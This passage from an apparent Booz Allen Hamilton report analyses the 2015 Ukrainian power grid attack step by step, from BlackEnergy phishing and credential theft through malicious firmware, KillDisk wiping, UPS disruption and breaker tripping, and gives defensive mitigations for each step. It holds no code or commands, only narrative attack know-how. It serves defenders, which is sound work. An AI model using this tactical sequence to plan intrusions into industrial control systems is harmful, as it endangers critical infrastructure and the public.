(e.g., abnormal hours, unsuccessful login attempts). Establish production honeypots spread throughout the network to alert on any attempts to login or access files. These honeypot systems have no intentional purpose, and any attempt to access them is a notable security alert. STEP 9: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON ICS NETWORK Threat actors use stolen credentials to access the control environment and conduct reconnaissance on deployed systems. Location: ICS network Action: Active threat actor activity Timeline: June 2015December 2015 Device/application: Discovered systems, including human machine interface (HMI) workstations, distributed management system (DMS) servers, UPS devices,58 serial-to-Ethernet converters (Moxa UC 7408-LX-Plus,59 IRZRUH2 3G60), remote terminal unit (RTU) devices (ABB RTU560 CMU-02), and the substation breakers Role in infrastructure: HMI workstations provide a graphical user interface for operators to remotely monitor and control devices within the control environment. DMS applications enable centralized monitoring and issuing of commands within a control environment. UPS devices condition incoming power to downstream devices and provide temporary battery backup power. Serial-to-Ethernet converters convert serial data from field devices to digital packets, enabling communications with the control center. RTU devices function as a communication processor or a data concentrator in a substation, enabling communications and data transfer between field devices in the substations and the control center. Substation breakers are devices designed to physically interrupt current flows through an electrical circuit. Exploitation method: Threat actors use valid credentials to interact directly with the client application for the DMS server via a VPN, and native remote access services to access employee workstations hosting HMI applications. This access likely enables threat actors to enumerate all networked devices within the control environment. Impact: Threat actors gain access to critical systems, enabling them to begin target selection and preparations for final attack. Booz Allens recommended mitigations: Install and configure a stateful firewall or data diode device between the corporate network and ICS network. Configure an ICS network demilitarized zone (DMZ) and prohibit any direct traffic between the corporate and ICS networks. All traffic between these domains should be heavily controlled through the use of proxies and be actively monitored. Any access to systems within the control system DMZ should require the use of two-factor authentication. Implement network segregation of control system components within the ICS network using zone and conduit techniques. Use industrial firewalls between these network segments whereby only specified traffic can enter and exit. All traffic outside of what is explicitly allowed should trigger an alert. Take advantage of the predictability in control system traffic by establishing a baseline of normal ICS network communications and conduct active monitoring for anomalies.
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Step 15: Telephony Denial-of-Service Attack. Threat actors initiate DoS attack on telephone call center at one of the targeted distributors. Step 16: Disable Critical Systems via UPS Outage. Previously scheduled UPS outage cuts power to targeted telephone communications server and data center servers. Step 17: Destroy Critical System Data. Scheduled execution of KillDisk malware erases the master boot records and deletes system log data on targeted machines across the victims corporate and ICS network. ICS Network Corporate Network Telephone Server Data Center Control Center RTU Networked Substation Converters Breakers RTU Converters Breakers RTU Converters Breakers WorkstationWorkstation HMI Workstation DMS Client Application Network Share Domain Controller ServerVPN Server or Gateway Call Center Automated TDoS System External Infrastructure DMS Server VPN Server or Gateway Valid Credential Valid Credential UPS Disruption CC Servers Malicious Firmware Attack Package KillDisk 11 12 16 16 15 17 17 10 14 13 EXHIBIT 3. WALK THROUGH OF THREAT ACTOR ACTIVITY, STEPS 10 THROUGH 17 18 Booz Allen Hamilton ACTION ON OBJECTIVES: ATTACK PREPARATION STEP 10: DEVELOP MALICIOUS FIRMWARE Threat actors develop malicious firmware update for identified serial-to-Ethernet converters. Location: External infrastructure Action: Active threat actor activity Timeline: June 2015December 2015 Device/application: Activity conducted external to network Role in infrastructure: Activity conducted external to network Exploitation method: After identifying deployed converts, threat actors begin a malware develop- ment and testing effort on infrastructure outside of the targeted network. Impact: Upon completion of this step, threat actors would have target-specific malware designed to disrupt communications with field devices by disabling deployed converters. Booz Allens recommended mitigations: Implement information classification program to categorize critical system information that could be used by a threat actor. Sensitive information such as this should have restricted distribution and not be publicly available. Review publicly available information, including job announcements and new supplier agree- ments, to ensure they do not provide inadver- tent information to a threat actor on deployed devices. STEP 11: DELIVER DATA DESTRUCTION MALWARE Threat actors likely deliver KillDisk malware to network share and set policy on domain controller to retrieve malware and execute upon system reboot. Location: Corporate and ICS network Action: Active threat actor activity Timeline: December 2015, directly preceding attack Device/application: Network share and Windows domain controller server Role in infrastructure: The network share provides access to shared digital resources, and the Windows domain controller manages access control throughout the network. Exploitation method: Threat actors likely use stolen credentials to place KillDisk malware on a network share, then set the retrieval and execution of the malicious files by implementing a policy on the compromised domain controller server.f Impact: Prescheduling execution of malware enables coordination of multiple attack compo- nents, such that data destruction coincides with or shortly follows attacks against breakers. Booz Allens recommended mitigations: Utilize network- and host-based antivirus software to detect and prevent known malware from infecting organization systems. Regularly scan organizational machine images with YARA rules to detect malware prior to execution. Restrict and monitor network share access permissions. STEP 12: SCHEDULE UPS DISRUPTION Threat actors schedule unauthorized outage of UPS for telephone communication server and data center servers. Location: Corporate and ICS network Action: Active threat actor activity Timeline: Directly preceding December 2015 attack Device/application: Networked UPS devices with remote management interface f. This tactic was observed in attacks against the Ukrainian television broadcaster in October 2015. Domain controllers and KillDisk execution upon reboot, observed in the December 2015 attacks, both indicate this tactic may have been repeated against the electricity distributors. boozallen.com/ics 19 Role in infrastructure: Prevent power outages from disrupting continuous operation of critical systems. Exploitation method: Threat actors likely use valid credentials to access privileged employee accounts, then use this access to remotely schedule unauthorized power outages. Impact: Prescheduling outages enables coordination of multiple attack components, such that critical systems also go down as a result of the power outages, stifling potential restoration efforts. Booz Allens recommended mitigations: Isolate UPS systems, and other facility management systems, from both the ICS and corporate networks. Disable remote management services for UPS devices wherever possible. ACTION ON OBJECTIVES: EXECUTE ATTACK STEP 13: TRIP BREAKERS Threat actors use native remote access services and valid credentials to open breakers and disrupt power distribution to more than 225,000 customers within three distribution areas. Location: ICS network Action: Active threat actor activity Timeline: December 23, 2015, during Device/application: HMI workstations, DMS servers, RTU, and the substation breakers Role in infrastructure: HMI workstations provide a graphical user interface for operators to remotely monitor and control devices within the control environment. DMS applications enable centralized monitoring and issuing of commands within a control environment. Substation breakers are devices designed to physically interrupt current flows through an electrical circuit. Exploitation method: Threat actors use valid credentials to seize control of operator worksta- tions, access DMS client application via VPN, and issue unauthorized commands to breakers at substations. Impact: Opening of breakers results in disruption of electricity service to customers.
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22 Booz Allen Hamilton T O P 1 0 TA K E A W AY S What to Consider When Protecting Your OT Environment 1.
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22 Booz Allen Hamilton T O P 1 0 TA K E A W AY S What to Consider When Protecting Your OT Environment 1. Know your environment. Identifying risk starts with the need to understand your operational environment, including the topology, network and wireless connection points, and connected devices and assets. Starting with a thorough understanding of the people, processes, and technology that comprise an operational environment provides the foundation to identifying what you need to defend. 2. Identify the key OT processes and data that need to be protected. All processes and data are not created equal, and cybersecurity professionals often do not understand the core operations of an ICS environment. Cybersecurity professionals need to partner with plant operators to identify and under- stand the essential operational processes that, when disrupted, can cause significant impact on operations. By assessing and prioritizing these key processes, focused mitigation strategies can be developed to both defend and recover from cyberattacks. 3. Understand the threats. Threats against ICS environments continue to increase, and cybercriminals see this as an opportunity to quickly monetize their trade through ransom- ware and other attacks. Stay informed about whats happening across the broader threat landscape, both within your industry vertical and beyond. Understand how malicious actors may compromise your environment, whether its launching phishing attacks against operators in your plant or injecting malicious code in ICS devices at some point in the supply chain. Engage in an active dialog with your security team to ensure they are on the lookout for these types of events, and be prepared to quickly respond. 4. Segment your OT and IT environments. Like the Ukraine incident, many OT attacks originate in the enterprise environment. It is important that you understand your network boundaries and connection points. We recommend implementing network segmen- tation between your environment using VLANs and firewalls. Also, when necessary for ultimate protection, consider data diodes or other unidirectional technologies for one-way data transfer from sensitive environments to authorized systems. 5. Focus on the Cyber security basics. Often, we are making it easy on cybercriminals by forgetting about the basics. Treat your OT environment like you treat the enterprise. Remember to focus on basic cyber hygiene such as (a) strong passwords (or even a password if not already protected) (b) multifactor authentication for remote access, third parties, and maintenance providers (c) access control to protect key processes and data and (d) the principle of least privilege for user and admin accounts. 6. Maintain your OT security posture. We often find HMI and other connected devices in the OT environment to be outdated from a patching perspectiveremember, keep your patches up to date if possible. We recognize there are cases where vendors will not support their product when new patches are applied. In these cases, get creative because youre still at risk. Consider alternative controls, such as whitelisting or network-based security appliances that block access based on known vulnerabilities. boozallen.com/ics 23 7. Focus on proactive monitoring and detection, not just compliance. A wise person once said, Compliance solves yesterdays problem today. In todays cybersecurity landscape, new vulnerabilities and threats emerge daily. We recommend instrumenting your environment with both traditional network and end-point security solutions, along with emerging real-time OT data collection sensors. We also recommend implementing an OT monitoring environ- ment, such as Splunk, that captures and correlates events. For security operators, we recommend watching critical processes and data for firmware and configuration changes outside the proper change control process. 8. Train your operators. Remember, people are usually the weakest link in a cybersecurity attack. Educate your team about the cyber and technology risks facing OT and ICSand build awareness of the impacts these threats can have on your OT environment. Cyber criminals are actively looking to exploit ICS operations educate staff to watch out for phishing emails and immediately report them to your cyber response team. 9. Develop an OT incident response (IR) plan. Everyone is vulnerable to a cyberattack its important to be prepared. We recommend creating an OT IR plan that addresses safety and plant operations stability as its primary goal. The IR plan should include key stake- holders, such Health and Safety, Legal, Compliance, and Environmental. Once developed, its important that you socialize and prepare to execute your plan. We recommend using scenario-driven exercises for operators to understand threats and how to react to a cyber incident. Practice and drill using the IR planand do it regularly 10. Red Team your environment. Cybercriminals think differently from traditional network defenders. They are crafty and financially motivated. Its important to view your environment from the eyes of your adversary. We recommend engaging a professional team to assess your environ- ment from an attackers view. While conventional red team practices may not work in an OT environment, a skilled team that understands the delicacies of operating in this space can use offline environments and built-in redundancy to conduct these activities without affecting your operations. Once completed, you can develop a mitiga- tion plan based on findings and periodically re-engage the red team 24 Booz Allen Hamilton The attack against Ukraines electricity distributors was unparalleled in its impact and demonstrated disciplined, professional execution. It is highly likely that this attack was politically motivated and conducted by a state-backed group.h As such, these threat actors were among the most well- resourced and well-organized adversaries an organization can face. ICS operators are capable of meeting these adversaries head-on, and the tools needed to mitigate and minimize the impact of an attack such as this are readily available. WHAT COULD HAVE PREVENTED THE ATTACK FOR UKRAINE? At the time of the attack, though the Ukrainian electrical distributors had exploitable holes in their security posture, they were not without defense. The Ukrainian operators had implemented firewalls between their internal networks and had segmented their ICS environment from their corporate network.65 This segmentation should have forced attackers to search for vulnerabilities on the deployed systems, had they not already stolen valid credentials. The Ukrainian firms were also fairly well positioned to respond to the attacks their extensive experience in manual operation of their infrastructure enabled them to get impacted systems up and running within hours of the attack, despite lacking a prepared system failure contingency plan.66 Likewise, the firms were well prepared to investigate the incident, as they had extensive logging capability implemented across their systems and firewalls.67 Despite these precautions, the attackers were ultimately successful. The biggest point of failure in the operators security posture, which allowed attackers to interfere with the physical systems, was the enablement of remote access for their control environment and the lack of two-factor authentication.68 WHAT ABOUT THE UNITED STATES? The risks demonstrated in the attacks in Ukraine are significant for the US for several reasons. Variants of BlackEnergy malware have been identified on multiple critical infrastructure networks in the US over the past several years.69 Additionally, disruptions on the US grids would likely have a greater financial and social impact than in Ukraine. Given the right grid operating conditions and timing of a cyberattack, another Northeast Blackout or greater could occur. Restoration from such a blackout could be even longer if utilities were unable to remotely coordi- nate and operate key portions of their system. Though a destructive attack like the Ukrainian event has not occurred in the US energy sector, various actors conduct reconnaissance and technical collection on the sector. In fiscal year 2015, members of the US energy sector reported 46 cybersecurity incidentsi to ICS-CERT.70 ICS-CERT does not publish a breakdown of the types of incidents by sector, but it revealed that 31 percent of total incidents reported across all sectors involved successful intrusion into operators assets, a third of which included accessing control systems.71 A few disclosed examples of reconnaissance targeting the US energy sector exist, the most relevant of which is a BlackEnergy campaign active from at least 2011 to 2014,72 which the US government reportedly suspected to be Russian-government orches- trated.73 In this case, the attackers who gained access to systems did not attempt to damage, modify, or otherwise disruptprocesses.74 C O N C L U S I O N h. An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. i. ICS-CERT defines an incident as the act of violating an explicit or implied security policy. Examples of such incidents include the receipt of spear-phishing email messages, attempts to gain unauthorized systems access, and the existence of malware in either corporate or operational environments. Source: https://ics-cert.us-cert.gov/Report-Incident boozallen.com/ics 25 In the near future, the likelihood of an attack against US electrical infrastructure on the scale of the Ukraine attack is very low. Based on previous research, we conclude that several nation states have the capability to conduct similar time-con- suming, strategically complex attacks, but, based their current relations with the United States, these countries lack the intent to carry out such a brazen, destructive attack against US critical infrastructure. In recent years, we have seen several government regulations and industry initiatives that have reduced the risk of such attacks. These efforts are designed and implemented to mitigate cyber risk and ultimately to protect the reliability and availability of the electrical grid. That said, operators must remain vigilant as many threats do exist. Cybercriminals and other nonstate actors could use similar techniques and tactics to those in the Ukraine incident to deliver ransomware or other create other equally disruptive scenarios without attacking the grid directly. Additionally, global relations are in constant flux and a significant deterioration in relations with any of several countries could induce them to conduct a Ukraine-style attack in the US. 26 Booz Allen Hamilton BOOZ ALLEN SERVICE OFFERINGS Booz Allen operates at the intersection of risk and technology to deliver engineering, process, and domain-focused solutions for managing process and cybersecurity challenges in a sustainable manner. We bring the capability to work across the entire organization, from the C-Suite with business and regulatory perspectives to the plant manager and the realities of the industrial environment, to ensure business and process integrity. We have developed cutting- edge solutions to help you identify, understand, enumerate, and manage the risks in your industrial control systems (ICS) environment. CyberM3 for ICS. Booz Allens unique assessment methodology for performing risk-based reviews of your operational technology (OT) environment. We use it to understand the key risk areas in your security posture. We focus on (1) identification and prioritization of your key industrial processes, telemetry, and data (2) identification and analysis of key industrial and plant systems, (3) risk assessment of plant, facility, and field operations, and (4) discovery to create a comprehensive view of digital systems in your OT environment. The output of CyberM3 is a picture of your current OT security maturity with a roadmap and actionable mitigation plans to improve your OT security posture. Dark Labs Blacklight Assessment. Our security engineers employ decades of expertise shielding the worlds most critical information to provide a red team assessment of your critical infrastructure and OT environment. Our Dark Labs team develops strategies to assess your systems by deploying the same techcraft malicious hackers apply to exploit them. Through binary reverse engineering, embedded security, network analysis and operations, and data science, we assess your ICS environment across a range of industries, manufacturers, and vendors to identify critical weaknessesproviding insights to preemp- tively secure your devices, infrastructure, and ICS systems before theyre attacked. Supply Chain Vendor Risk Analysis. Booz Allen provides risk-based and continuous monitoring of all aspects of the supply chain. We can work with you to define security requirements for your key technology, hardware, and software deployments evaluate your suppliers and embed security into your procurement process, maintenance proce- dures, and other aspects of your supply chain interactions to ensure that your ICS environ- ment is not at risk. ICS Security Architecture, Design, Review, and Analysis Capabilities. Booz Allen recognizes that the best way to secure your OT and ICS environment is to ensure security is embedded into the systems architecture. We provide technical leadership to architect and secure the control environment from the risks associated with cyber threats. We look at data flows, process interactions, different plant systems, and remote access and third-party access needs to create an architecture to support operational needs and protect critical assets. Our team of process and industrial systems engineers, using industry require- ments and operational characteristics, will organize system components into a series of protective levels to allow secure exchange of information between systems that need it while at the same time protecting core industrial processes. boozallen.com/ics 27 ICS Monitoring (Powered by Splunk). Leveraging our intelligence community work and our commercial Cyber Fusion Center offering, we help clients implement an end-to-end ICS monitoring solution that (1) instruments critical processes and data, (2) presents an operational dashboard that provides situational awareness of security and ICS-related events, (3) actively hunts for adversary and malicious activity across the OT network. Our solution can be deployed not only to detect, flag, and manage OT incidents, but also provides insights into the plants security, safety, reliability, and performance using advanced analytics. Industrial Incident Response (IR). We work with clients to determine whether their OT IR strategy is sufficient to navigate a breach, developing a customized plan so you are ready to respond when a breach occurs. It covers the entire OT environmentfrom plant manager, chief information security officer, and operators to legal, HR, and communicationsto clarify and test roles and procedures. If you think youve been breached, our incident response team can be on the ground within 12 hours, bringing the experience, technical expertise, and equipment to eradicate bad actors from your critical operations network and shield your organizations most valuable assets. Security Programs, Training, and Awareness. We can provide the expertise to establish comprehensive training and awareness programs and to implement an overall security management framework. We provide leader- ship in creating and implementing end-to-end security management programs covering risk assessment, architecture and threat mitigation, and ongoing compliance and monitoring programs. As part of our training and aware- ness programs, we can create a training curriculum and communications plan targeted at education OT, ICS risk, and overall impact. Booz Allens solutions are not driven by cyber for cybers sake but are focused on protecting your core operational functions improving safety, reliability, and process integrity and supporting regulatory compliance. Our differentiated position allows you to become safer and more secureand able to compete in a challenging business and operational landscape. For More Information BRAD MEDAIRY Senior Vice President medairy_bradbah.com 1-703-902-5948 SCOTT STABLES Chief Cyber Technologist stables_scottbah.com 1-630-776-7701 MATT THURSTON Lead Associate thurston_matthewbah.com 1-703-216-5259 28 Booz Allen Hamilton mailto:medairy_brad40bah.com20?subject mailto:stables_scottbah.com mailto:messer_angelabah.com This section is included to provide a more detailed textual summary of each of the steps outlined in the Attack Walk Through section of the report. This includes citations for all referenced sources and discussion of the analyst assessments behind each step. RECONNAISSANCE STEP 1: RECONNAISSANCE AND INTELLIGENCE GATHERING It is currently unknown why the particular three power distribution companies were targeted, though reconnaissance and intelligence gathering were likely used by threat actors to identify targets. Threat actors may select several potential targets based on their strategic objectives, then use initial reconnaissance on these targets to narrow their focus and build their plan of attack. Reconnaissance can be conducted actively or passively. Active reconnaissance includes direct interactions with the targeted network, such as port scanning, whereas passive reconnaissance includes activities such as open-source intelligence gathering. Open-source intelligence gathering can also provide key situational information about the types of technologies deployed by potential targets, associated vulnerabilities, and possible attack vectors available to threat actors. Valuable targeting data, such as information on the type and kilo-voltage of hardware deployed at substations, specific model information on devices used in operators control environ- ment,75,76,77,78 and likely types of operating systems used at workstations in the control environment,79 is available on publicly accessible websites. WEAPONIZATION STEP 2: MALWARE DEVELOPMENT AND WEAPONIZATION To gain unauthorized network access, attackers may target vulnerabilities in web-facing infra- structure, or develop weaponized files to deliver to users on the network. In taking a weaponiza- tion approach, attackers modify common file types, such as .pdf or .doc files, to exploit vulnerabilities in the programs used to view and edit the specific file type. Alternatively, the attackers may use social engineering tactics to encourage targeted users to enable content such as Visual Basic (VB) macro scripts. These weaponized files can be delivered to specific individuals in an organization or sent to large numbers of users, depending the level of targeting conducted by the threat actor. Ultimately, both techniques result in installation of malware, which can be used as a means to enable remote access.80 In the Ukraine attacks, threat actors gained access to targeted networks using weaponized Microsoft (MS) Office files, specifically Word and Excel,81,82 by embedding BlackEnergy (BE) 3 malware in VB scripts.j The BE malware embedded in the weaponized files was also specifically modified for the attacks. Public reporting on BE3 samples gathered in 2015 indicates the attackers had added functionality to the malware to support specific, internal proxy servers in establishing command-and- control (CC) connections.83,84 This indicates the attackers had already gathered network infrastruc- ture details prior to delivery of the updated malware85 and modified the malware packages based on infrastructure at their targets.
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A P P E N D I X A : Detailed Textual Description of Attack Walk Through j. An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. boozallen.com/ics 29 DELIVERY STEP 3: DELIVER REMOTE ACCESS TROJAN (RAT) Public reporting consistently indicates that phishing was the initial delivery method, though the exact timeframe in which initial access was established is not confirmed. Ukraines Deputy Energy Minister stated threat actors had access no less than six months prior to the attack.86 Other reporting indicates the phishing campaign began on or around March 2015 and continued through January 20, 2016.87 This March 2015 campaign used weaponized MS Office files to deliver malware via phishing attacks to many Ukrainian organizations, including the three distributors hit in the December 2015 attacks.88 The earliest phishing attacks using weaponized MS Office documents to deliver BE malware against Prykarpattyaoblenergo were observed in May 12, 2014,89 a year and a half before the grid disrup- tions in December 2015. This attack also targeted a range of Ukrainian businesses,90 including all six of Ukraines railway operators managed by Ukrzaliznytsya, the State Administration of Railway Transport of Ukraine.91 Each of these phishing attacks may have been part of a broad reconnaissance and intelligence gathering effort, and the ultimate objective of causing a destructive industrial control systems (ICS) attack may have developed later on.92 In addition, while BE was the primary malware delivered to targeted networks, other RATs, including GCat,93 Dropbear,94 and Kryptik95 were recovered in the investigation following the grid disruption in December 2015.96,k EXPLOITATION AND INSTALLATION STEP 4: INSTALL RAT BE3 malware was embedded in malicious MS Office files, which were sent to operators in a wide-reaching phishing campaign. Upon delivery, when recipients opened the weaponized docu- ments, they were presented with an onscreen prompt to enable the macro function for the weaponized files to execute.97 No exploit code was used to initially deliver BE onto targeted networks.98 Using permissions granted by the user when macros were enabled, the VBA script dropped the persistent malware files on disk at workstations of targeted employees.l COMMAND AND CONTROL STEP 5: ESTABLISH CC CONNECTION The primary function of BE3 malware is to establish a hook into targeted networks, enable persistent, unauthorized access, and use this access to gather intelligence on the targeted systems. The first step in this process is estab- lishing a connection with an external CC server. After installation, the BE implant modifies in-registry Internet settings and MS Internet Explorer security settings, then uses HTTP POST requests to contact an external CC server.m k. Additional discussion of the alternate RATs observed on the electricity distributor networks is provided in Appendix D. l. By analyzing the weaponized files, the step-by-step process the BE malware executed to insert itself into targeted networks is revealed. A detailed summary of the infection routine for recovered malware samples used in the Ukraine attacks in included in Appendix B. m. Additional details on communication process are provided in Appendix B. 30 Booz Allen Hamilton ACTION ON OBJECTIVES: INTERNAL RECONNAISSANCE AND LATERAL MOVEMENT STEP 6: DELIVER MALWARE PLUGINS After establishing connections to the delivered BE implant, attackers used this access to acquire employee credentials, allowing them to use existing remote access services to maintain a presence on the network.99 Specific details on how the credentials were harvested are not publicly reported, though analysis of the BE malware provides some insight into the methods threat actors may have leveraged. One of the key features of BE is its modular nature and ability to download plugins designed for many different tasks.100,n Once loaded onto a targeted system, and having established connections with the CC server, BE3 is capable of receiving a range of commands, including uninstall, load or unload plugin, update DLL, download and execute executable, download and execute a binary, or update configuration data.101 After loading any plugins, the BE3 implant communicates with them internally using remote procedure calls (RPC) over named pipes.102 The threat actors likely down- loaded several plugins onto the targeted networks, following the initial infection, and used these plugins in several stages of the attack, including the harvest of user credentials. STEP 7: HARVEST CREDENTIALS Credential harvesting was likely an iterative process beginning with malware exfiltration then shifting to direct interaction with deployed systems by the attackers. Credentials can be stolen using a wide range of the methods, such as social engineering, keylogging, or targeting of specific applications, such as password managers. In the Ukraine attacks, credentials were likely collected using associated BE plugins specifically designed for this task. The plugins likely used to harvest credentials in the Ukraine attack are the PS.dll plugin, designed to harvest stored user credentials,103 SI.dll plugin, which gathers system data and stored passwords from a range of applications,104 and the KI.dll plugin, which logs keystrokes.105,o In at least one instance, attackers used their access to create additional, unauthorized domain accounts.106 Other reporting n. An in-depth discussion of BE capabilities for receiving and communicating with plugins, as well as the capabilities and functions of identified plugins are detailed in Appendix B and Appendix C. o. Additional detail on these plugins is provided in Appendix C. boozallen.com/ics 31 indicates the attackers eventually gained access to Windows domain controllers, where they gathered credentials for the virtual private network (VPN) used by grid operators to access the control network remotely.107 In the attack against the Ukrainian media outlets,p attackers used VPN to access an administrator account then used remote desktop protocol (RDP) service from the administrators account to access the domain controller.108 It is plausible that threat actors repeated this tactic against the electricity distributors. Once the attackers had valid credentials, the attackers likely shifted away from this initial hook into the network provided by the BE implant in favor of native remote access services such as VPN.109 The benefit of shifting away from the network access provided by the malware, and establishing multiple lines of communication, is that it supports persistent access and minimizes visibility of malicious activity.110 If any one connection is discovered and removed, threat actors have redundant connections, and, by using trusted communications, threat actor activity blends in with normal traffic of authorized users.111 STEP 8: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON CORPORATE NETWORK Little information is publicly available on the lateral movement and internal reconnaissance efforts, though the list of targets in the final attack indicate extensive network discovery. Targeted systems include networked uninterruptable power supply (UPS) devices, data center servers, a telephone communications server, and employee worksta- tions.112 This movement likely involved a range of activities over a lengthy period, including gathering of credentials, and identification of potential targets and services to be leveraged in the attack.113 As with the initial credential harvesting, network discovery was likely aided with dedicated BE plugins, specifically the VS.dll plugin. VS.dll scans for connected network resources, attempts to retrieve remote desktop credentials, and establishes connections to remote systems using the MS Sysinternals PsExec tool.114 In the attack against Ukrainian media outlets,q anomalous use of PsExec to enumerate and establish remote access to networked systems was logged on administrator workstations.115 Threat actors may have used this same tactic two months later against the three electricity distributors. STEP 9: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON ICS NETWORK Ultimately, after gaining initial access to the corporate network and harvesting valid user credentials, the threat actors were able to navigate successfully from the corporate IT network into the control environment, hosting the human machine interface (HMI) workstations, distributed management system (DMS) servers, and networked field devices. Threat actors used valid credentials to establish at least two pathways into the control environment these included remote administration tools to access operator worksta- tions and VPN services to interact directly with the client application for the DMS server.116 As noted above, public reporting indicates VPN credentials for the control environment may have been recovered from Windows domain controllers.117 Access to the HMI workstations and DMS application was likely sufficient for threat actors to p. The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk. q. The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk. 32 Booz Allen Hamilton enumerate all of the networked devices. Unlike corporate networks, ICS networks often follow a hub-and-spoke orientation, with a single, central- ized control point. It is unlikely the threat actors used the associated BE network discovery plugins referenced above using active discovery methods, such as scanning, may interfere with necessary communications or cause communication cards to fail.118 Systems identified during this reconnais- sance phase, and targeted in the final attack, include HMI workstations, DMS servers, control center UPS,119 serial-to-Ethernet converters, and the substation breakers.120 Though this attack was conducted remotely using valid credentials, tampering with the physical network connections to field devices, such as RJ45 or Fiber cabling, can provide another method to gain network access. A mitigation strategy to prevent malicious code or a laptop from entering the network could be something as simple as a sticky MAC program, whereby the network switch port is configured to whitelist the unique MAC address of a specific intelligent controller, and becomes disabled in the event the field device gets disconnected. Similarly, if the network includes wireless telemetry, this could also provide an entry-point for attackers. This risk can be mitigated using FIPS 140-2 or similar encryption technology. During their target selection process, threat actors likely used their network access to familiarize themselves with ICS configuration, interfaces, command processes, and other operational details of systems at each organization. Even if threat actors are familiar with the deployed devices and applications, often system configurations will be customized at individual facilities based on operator needs or preferences. Prior to the final attack, the attackers learned how to direct the DMS at each of the three companies, using the existing controls and HMI displays.121 Because this activity was likely executed on the operator network, little forensic information on this process was generated.122 ACTION ON OBJECTIVES: ATTACK PREPARATION STEP 10: DEVELOP MALICIOUS FIRMWARE This incident was the first instance where threat actors developed malicious firmware update for a specific attack.123 In conducting a firmware attack, threat actors will push an update that will either patch or completely replace the old firmware. This is often done in an unauthenticated manner without any verification that the new or updated firmware is valid. Alternatively, in some attacks threat actors have compromised vendor websites and hosted weaponized firmware to be down- loaded and installed by operators.124 Typically, the system running the firmware will be rebooted for the new firmware to be fully installed and operational. At this point, anything malicious that has been added to the firmware will have a chance to execute, depending on how the code is designed this could be immediately upon reboot, or may be based on some trigger. Samples of the malicious firmware used in the Ukraine attacks were not recovered, and specific detail on the execution process could not be derived. Well-resourced and highly organized groups may also conduct testing of malware or exploit code intended for use on targeted systems.125 Threat actors may obtain specific ICS hardware or boozallen.com/ics 33 software, and configure them to match the operator environment.126 Investigators assessed that it is unlikely the threat actors executed the attacks in Ukraine without some level of prior capability testing, particularly the malicious firmware updates.127 Given the apparent resources and professionalism of the group, outside observers assessed the threat actors may have used systems of their own to confirm the effectiveness of the modified firmware used in the final stages of the attack.128 STEP 11: DELIVER DATA DESTRUCTION MALWARE In addition to opening breakers, the threat actors also used a data destruction malware, known as KillDisk, at all three distributors to wreak havoc on networked machines. Threat actors have used both KillDisk and BE3 malware together in multiple attacks,129 but analysis of recovered samples of BE3 does not indicate any technical link between the two malware applications. KillDisk is a separate, standalone executable (.exe) file used in conjunction with BE3 during the attack. The malware was likely loaded onto targeted networks as one of the final prepara- tions directly prior to attackers opening the breakers. Public reporting indicates that the KillDisk malware may have been set as a logic bomb when placed on targeted machines, with a specific time delay before the destructive functions of the malware executed.130 This would ensure data destruction would coincide with, or shortly follow, the attacks against breakers. The use of an internal scheduling function is unlikely BE has an associated data destruction plugin, DSTR.dll, which includes an execution time in its configuration data, but recovered KillDisk samples did not include any such capability. In the attack against Ukrainian media outlets,r attackers placed KillDisk malware on a network share and used a compromised adminis- trator account to access domain controller servers.131 On the domain controller servers, they scheduled a policy for every workstation to retrieve and execute the file following reboot.132 Public reporting indicates that, in the attack against electricity distributors, credentials were retrieved from compromised domain controllers133 and that UPS disruptions triggered KillDisk execution on data center servers.134 Both of these claims support the assessment that the tactic used in the media attack was also used against the electricity distributors. Attackers may have also used administrator access to remotely schedule retrieval and execution of the malware using Windows Task Scheduler on high-priority target machines.135 This method was also used in the Ukrainian media r. The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and Killdisk. 34 Booz Allen Hamilton attack as a contingency measure to ensure the data destruction attack would be successful should the domain controller server crash.136 STEP 12: SCHEDULE UPS DISRUPTION Attacks against operators UPS systems were conducted against at least two of the three affected power distributors.137 UPS outages were scheduled using remote management interfaces,138 and affected devices included an internal telephony communications server at one firm and the main data center at a second operator.139 Public reporting also indicates the UPS outages affected two of the control centers, disabling the ability of operators to monitor the control network.140 In disrupting the telephony server, the attackers severed internal communications across the firm and with workers at remote sites. In the attack against the data center, the scheduled outage was entered directly preceding the malicious interactions with the firms substation breakers, and was set to execute several hours following the attack.141 In this attack, public reporting indicates that the server reboot caused by the power disruption also triggered the disk-wiping function of the KillDisk malware, which had been loaded onto the systems.142 Some UPS network management cards support remote monitoring and control via web browser, command line interface, or SNMP, enabling reboot and scheduling of shutdowns.143 Details on the specific UPS devices deployed by each of the distributors was not found in public reporting, so the remote access services used to access the devices cannot be confirmed. In addition, while the threat actors likely used valid credentials in this attack, vulnerabilities such as cross-site scripting have been identified in some UPS management devices.144 This component of the attack is not technically complex, but it serves as an effective illustration of the level of organization exhibited in this multifac- eted attack. Two of the reported UPS disruptions were essentially direct threat actor interactions with two systems, using remote access, to cause second-order effects (i.e., server backup power loss), which triggered malware execution upon reboot for one target, and mirrored the communi- cation disruption (i.e., telephony denial of service [TDoS]) of a nearly simultaneous attack against another target. The attacks also highlight the dependencies of computer network components on peripheral systems, such as power supply, HVAC, or even physical security. Vulnerabilities in these systems may be used by threat actors as additional means of accessing or interfering with network devices. ACTION ON OBJECTIVES: EXECUTE ATTACK STEP 13: TRIP BREAKERS After months of clandestine access, reconnais- sance, and preparation, the threat actors executed the final step in their attack: disrupting operation of the electrical grid itself. Using existing remote access tools similar to RDP and Radmin,145 threat actors took control of employee workstations hosting the HMI and actively issued commands to open individual breakers across the managed substations. During the attack, users sitting at the workstation could observe the commands being issued but were unable to use their mouse and keyboard to interfere with the attack.146 In some instances, the attacks also used an existing DMS client application to send commands to open breakers directly to the DMS server using their VPN access.147 The direct interactions with DMS boozallen.com/ics 35 and employee workstations were conducted by multiple threat actors, and were all conducted within a 30-minute window148 at some point between 15:30 and 16:30 local time.149 Investigators noted that, prior to execution of the final attack, the threat actors modified passwords for some 